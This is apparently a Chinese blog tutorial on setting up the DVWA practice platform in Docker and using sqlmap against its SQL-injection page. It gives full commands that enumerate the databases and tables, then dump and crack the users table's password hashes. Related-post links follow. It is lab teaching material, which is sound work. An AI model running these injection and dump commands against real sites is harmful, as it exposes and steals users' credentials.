sqlmap + DVWA 入门
sqlmap 入门
前言
项目地址:
sqlmap: https://github.com/sqlmapproject/sqlmap
DVWA: https://github.com/ethicalhack3r/DVWA
实验环境:Ubuntu 18.04 + sqlmap,CentOS + Docker + DVWA
工具介绍:sqlmap 是用来sql 注入的工具,DVWA 是圈内著名的web 安全测试平台,可以用来进行SQL 注入、文件上传漏洞、XSS 攻击等实验。在靶机CentOS 上,使用Docker 部署DVWA 平台,在测试机Ubuntu 上安装sqlmap
准备阶段
1、在CentOS 上安装Docker-CE
如果已经安装Docker 则可以跳过这一步,如果不愿意使用Docker,可以参考DVWA项目地址,手动下载资源文件部署平台
在CentOS上安装Docker:参考其他教程(还没写出来)
2、安装DVWA
由于Docker 安装之后默认的文件系统为layover2,而DVWA 在overlay2 上回遇到和mysql 相关的问题,因此官方推荐更换docker 使用文件系统。
此步我们使用第三方制作的DVWA,支持overlay2:
Docker Hub 地址:https://hub.docker.com/r/citizenstig/dvwa
安装步骤:
# 获取镜像
docker pull docker pull citizenstig/dvwa
# 新建容器
docker run -d -p 80:80 citizenstig/dvwa
访问CentOS 的主机地址,可以看到,除reCAPTCHA key 为Missing 红色外,其余状态均为绿色。点击Create/Reset Database
按钮
3、配置DVWA
将DVWA 安全等级修改为Low
4、在Ubuntu 上安装sqlmap
直接使用apt 安装,建议使用国内软件源:
sudo apt install sqlmap
搞事阶段
1、访问CentOS 地址,进入DVWA 配置,使用用户名 admin,密码 password 登录
2、查看Cookis:
在我的电脑上,本次登录使用的cookie为:
PHPSESSID=ogar52uhrqgksvhb7sf5club92;security=low
3、DVWA 选择SQL Injection,在输入框内输入任意的测试内容,例如:happy:
可以看到URL 内出现了GET 传值的数据:?id=happy 这意味着可以尝试进行sql 注入
4、使用sqlmap
直接输入sqlmap 可以看到使用提示:
我们要以刚才发现的 ?id 为突破点,使用sqlmap 对DVWA 进行sql 注入测试:
sqlmap -u "http://IpAddress/vulnerabilities/sqli/?id=id%3D1&Submit=Submit#" --cookie="PH PSESSID=ogar52uhrqgksvhb7sf5club92;security=low" --batch
-u:URL 地址,其中IpAddress 为CentOS 的地址
--cookie:传入刚才登录的cookie,模拟登录(可以尝试不传入cookie 直接注入会发生什么)
--batch:使用默认选项
等待片刻后,sqlmap 给出了此次注入测试的结果:
代表的含义为:sqlmap 通过3704次测试后,找到了四种进行注入的方法(存在四种漏洞),分别为boolean-based blind, error-based, AND/OR time-based blind, UNION query,最后还给出了服务器使用的操作系统、web 引擎和MySQL 大致版本
5、偷看数据库
使用 --dbs 查看数据库:
sqlmap -u "http://IpAddress/vulnerabilities/sqli/?id=id%3D1&Submit=Submit#" --cookie="PH PSESSID=ogar52uhrqgksvhb7sf5club92;security=low" --batch --dbs
我们准备看一下dvwa 数据库中的表:
sqlmap -u "http://IpAddress/vulnerabilities/sqli/?id=id%3D1&Submit=Submit#" --cookie="PH PSESSID=ogar52uhrqgksvhb7sf5club92;security=low" --batch -D dvwa --tables
查看users 中的columns :
sqlmap -u "http://IpAddress/vulnerabilities/sqli/?id=id%3D1&Submit=Submit#" --cookie="PH PSESSID=ogar52uhrqgksvhb7sf5club92;security=low" --batch -D dvwa -T users --columns
发现user 与password,查看这两列的内容:
sqlmap -u "http://IpAddress/vulnerabilities/sqli/?id=id%3D1&Submit=Submit#" --cookie="PH PSESSID=ogar52uhrqgksvhb7sf5club92;security=low" --batch -D dvwa -T users -C "user,password" --dump
途中可以看到password 字段为md5 加密,sqlmap 开始爆破试图得到解密结果:
最终得到表内数据以及解密后的密码:
后续阶段
sqlmap 会将每次的注入结果存放在 ~/.sqlmap/out 文件夹内
sqlmap + DVWA 入门的更多相关文章
- sqlmap注入入门
sqlmap注入入门 sqlmap的用法: linux中: sqlmap [选项] Windows中: python sqlmap [选项] 常用的参数及含义: 目标 -d DIRECT ...
- sqlmap基础入门超详细教程
前言: 总算进入了自己喜欢的行业. 要时刻记得当初自己说过的话, 不忘初心. Come on! 资料: 感谢超哥分享的干货.. sqlmap干货点击直达 学习环境: 本次学习使用的是kali集成的s ...
- Burpsuite Sqlmap Nmap入门总结
burpsuite sqlmap nmap 简介 sqlmap基础 五种独特sql注入技术: 基于布尔类型的盲注 基于时间的盲注 基于报错注入 联合查询注入 堆查询注入 sqlmap入门 1.判断是否 ...
- sqlmap dvwa SQL Injection使用小记
刚刚开始学习sql injection,初步使用sqlmap,使用 GET http://www.dvssc.com/dvwa/vulnerabilities/sqli/?id=1&Submi ...
- sqlmap:入门(手工注入)
一. 联合查询注入union(less-1) 1. union操作符用于合并两个或多个select语句结果集: 2. union后的select语句必须拥有和最前的select语句拥有相同数量的字段, ...
- 2.3 sqlmap目录及结构
2.3 sqlmap目录及结构Tips:此篇文章主要参考了<sqlmap从入门到精通>这本书中的相关具体细节,由于这本书作者完成的时间大概在2017年作用,所以我根据书中提到的信息再根据目 ...
- 安全工具推荐之sqlmap tamper&sqlmap api
我发现总有一些人喜欢问sqlmap的tamper脚本,问完工具问参数,问完参数问脚本...... 你这个问题问的水平就很艺术,让我一时不知从何说起...... 说一下在sqlmap的使用过程中,个人了 ...
- 渗透测试之Web安全
写在前面: 渗透测试包含但不限于Web安全 渗透测试并不相当于Web渗透 Web安全学习是入门渗透测试最容易的途径,门槛最低 Web安全入门: 基础入门 整体框架 SQL注入 XSS攻击 业务逻辑漏洞 ...
- 使用sqlmap注入DVWA的SQL Injection菜单
1 使用sqlmap注入DVWA的SQL Injection菜单 本教程中的登陆地址:http://192.168.0.112/dvwa/login.php 1.1 获取cookie信息 1) 使用a ...
随机推荐
- 区段统计 mysql 语句 case when then end as
EXPLAIN SELECT COUNT(*),CASEWHEN device_width > 729 THEN '>729'WHEN device_width BETWEEN '720' ...
- FileInputStream 类与 FileReader 类的区别
FileInputStream 类与 FileReader 类的区别: 两个类的构造函数的形式和参数都是相同的,参数为 File 对象或者表示路径的 String ,它们到底有何区别呢? FileIn ...
- Shell双重循环、图形排列及九九乘法表
Shell双重循环.图形排列及九九乘法表 目录 Shell双重循环.图形排列及九九乘法表 一.双重循环 1. 双重循环概述 2. 双重循环结构 二.循环特殊操作 1. exit 2. break 3. ...
- suse 12 编译部署Keepalived + nginx 为 kube-apiserver 提供高可用
文章目录 编译部署nginx 下载nginx源码包 编译nginx 配置nginx.conf 配置nginx为systemctl管理 分发nginx二进制文件和配置文件 启动kube-nginx服务 ...
- 从命令模式的维度理解Spring 之Application Event
Spring的事件(Application Event)为Bean与Bean之间的信息通讯提供了支持.当一个Bean处理完一个任务之后,希望另一Bean指定并能做相应的处理,这时我们就需要让另外一个B ...
- SpringBoot 自定义内容协商策略 configureContentNegotiation
在自定义的config配置类中,重写configureContentNegotiation方法 @Bean public WebMvcConfigurer webMvcConfigurer(){ re ...
- CVE-2020-0796
CVE-2020-0796 SMBv3漏洞复现 0X00漏洞简介 Microsoft Windows和Microsoft Windows Server都是美国微软(Microsoft)公司的产品,Mi ...
- 号称BI商业智能界的“四大天王”
基于云部署的现代商业智能与数据分析平台(国内似乎只有应用上云,数据本地化的趋势)正在逐步占据主流市场.随着市场在易用性和增强分析(augmented analytics)的变革,数据与分析领导者正在逐 ...
- petite-vue源码剖析-为什么要读源码?
什么是petite-vue? 根据官方解释,petite-vue是专门为非前后端分离的历史项目提供和Vue相近的响应式开发模式. 与完整的Vue相比最大的特点是,面对数据的变化petite-vue采取 ...
- [源码解析] NVIDIA HugeCTR,GPU 版本参数服务器---(8) ---Distributed Hash之后向传播
[源码解析] NVIDIA HugeCTR,GPU 版本参数服务器---(8) ---Distributed Hash之后向传播 目录 [源码解析] NVIDIA HugeCTR,GPU 版本参数服务 ...